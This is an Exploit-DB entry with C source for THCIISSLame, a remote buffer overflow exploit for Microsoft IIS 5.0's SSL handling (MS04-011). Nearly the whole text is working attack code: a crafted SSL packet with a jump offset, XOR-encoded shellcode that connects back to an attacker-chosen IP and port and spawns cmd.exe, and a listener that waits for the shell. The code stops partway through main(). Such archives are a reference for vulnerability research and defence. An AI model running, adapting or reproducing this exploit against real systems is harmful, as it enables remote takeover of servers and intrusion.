Exploit-DB #275
Description: Microsoft IIS 5.0 - SSL Remote Buffer Overflow (MS04-011)
Type: remote
Platform: windows
Date: 2004-04-21
Author: Johnny Cyberpunk

Exploit:
/*****************************************************************************/
/* THCIISSLame 0.3 - IIS 5 SSL remote root exploit                           */
/* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */
/* THC PUBLIC SOURCE MATERIALS                                               */
/*                                                                           */
/* Bug was found by Internet Security Systems                                */
/* Reversing credits of the bug go to Halvar Flake                           */
/*                                                                           */
/* compile with MS Visual C++ : cl THCIISSLame.c                             */
/*                                                                           */
/* v0.3 - removed sleep[500]; and fixed the problem with zero ips/ports      */
/* v0.2 - This little update uses a connectback shell !                      */
/* v0.1 - First release with portbinding shell on 31337                      */
/*                                                                           */
/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
/* scut, stealth, FtR and Random                                             */
/*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

#define jumper    "\xeb\x0f"
#define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21"

char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";

char shellcode[] =
"\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
"\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
"\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
"\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
"\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
"\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
"\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
"\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
"\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
"\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
"\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
"\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
"\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
"\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
"\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
"\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
"\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
"\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
"\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
"\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
"\x55\xe4";

void usage();
void shell(int sock);

int main(int argc, char *argv[])
{  
  unsigned int i,sock,sock2,sock3,addr,rc,len=16;
  unsigned char *badbuf,*p;
  unsigned long offset = 0x6741a1cd;
  unsigned long XOR = 0xffffffff;
  unsigned long XORIP = 0x93939393;
  unsigned short XORPORT = 0x9393;

  unsigned short cbport;
  unsigned long  cbip;

  struct sockaddr_in mytcp;
  struct hostent * hp;
  WSADATA wsaData;

  printf("\nTHCIISSLame v0.3 - IIS 5.0 SSL remote root exploit\n");
  printf("tested on Windows 2000 Server german/english SP4\n");
  printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");

  if(argc<4 || argc>4)
   usage();

  badbuf = malloc(352);
  memset(badbuf,0,352);

  printf("\n[*] building buffer\n");

  p = badbuf;

  memcpy(p,sslshit,sizeof(sslshit));

  p+=sizeof(sslshit)-1;
  
  strcat(p,jumper);

  strcat(p,greetings_to_microsoft);

  offset^=XOR;
  strncat(p,(unsigned char *)&offset,4);

  cbport = htons((unsigned short)atoi(argv[3]));
  cbip = inet_addr(argv[2]);
  cbport ^= XORPORT;
  cbip ^= XORIP;
  memcpy(&shellcode[2],&cbport,2);
  memcpy(&shellcode[4],&cbip,4);

  strcat(p,shellcode);
  
  if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  {
   printf("WSAStartup failed !\n");
   exit(-1);
  }
  
  hp = gethostbyname(argv[1]);

  if (!hp){
   addr = inet_addr(argv[1]);
  }
  if ((!hp)  && (addr == INADDR_NONE) )
  {
   printf("Unable to resolve %s\n",argv[1]);
   exit(-1);
  }

  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if (!sock)
  { 
   printf("socket() error...\n");
   exit(-1);
  }
  
  if (hp != NULL)
   memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
  else
   mytcp.sin_addr.s_addr = addr;

  if (hp)
   mytcp.sin_family = hp->h_addrtype;
  else
   mytcp.sin_family = AF_INET;

  mytcp.sin_port=htons(443);

  printf("[*] connecting the target\n");

  rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
  if(rc==0)
  {
      send(sock,badbuf,351,0);
      printf("[*] exploit send\n");
  
      mytcp.sin_addr.s_addr = 0;
      mytcp.sin_port=htons((unsigned short)atoi(argv[3]));

      sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      
      rc=bind(sock2,(struct sockaddr *)&mytcp,16);
      if(rc!=0)
      {
       printf("bind error() %d\n",WSAGetLastError());
       exit(-1);
      }
   
      rc=listen(sock2,1);
      if(rc!=0)
      {
       printf("listen error()\n");
       exit(-1);
      }

      printf("[*] waiting for shell\n");
      sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len); 
      if(sock3)
      { 
       printf("[*] Exploit successful ! Have fun !\n");
       printf("[*] --------------------------------------------------------------------\n\n");
       shell(sock3);
      }
  }
  else
  {
   printf("\nCan't connect to ssl port 443!\n");
   exit(-1);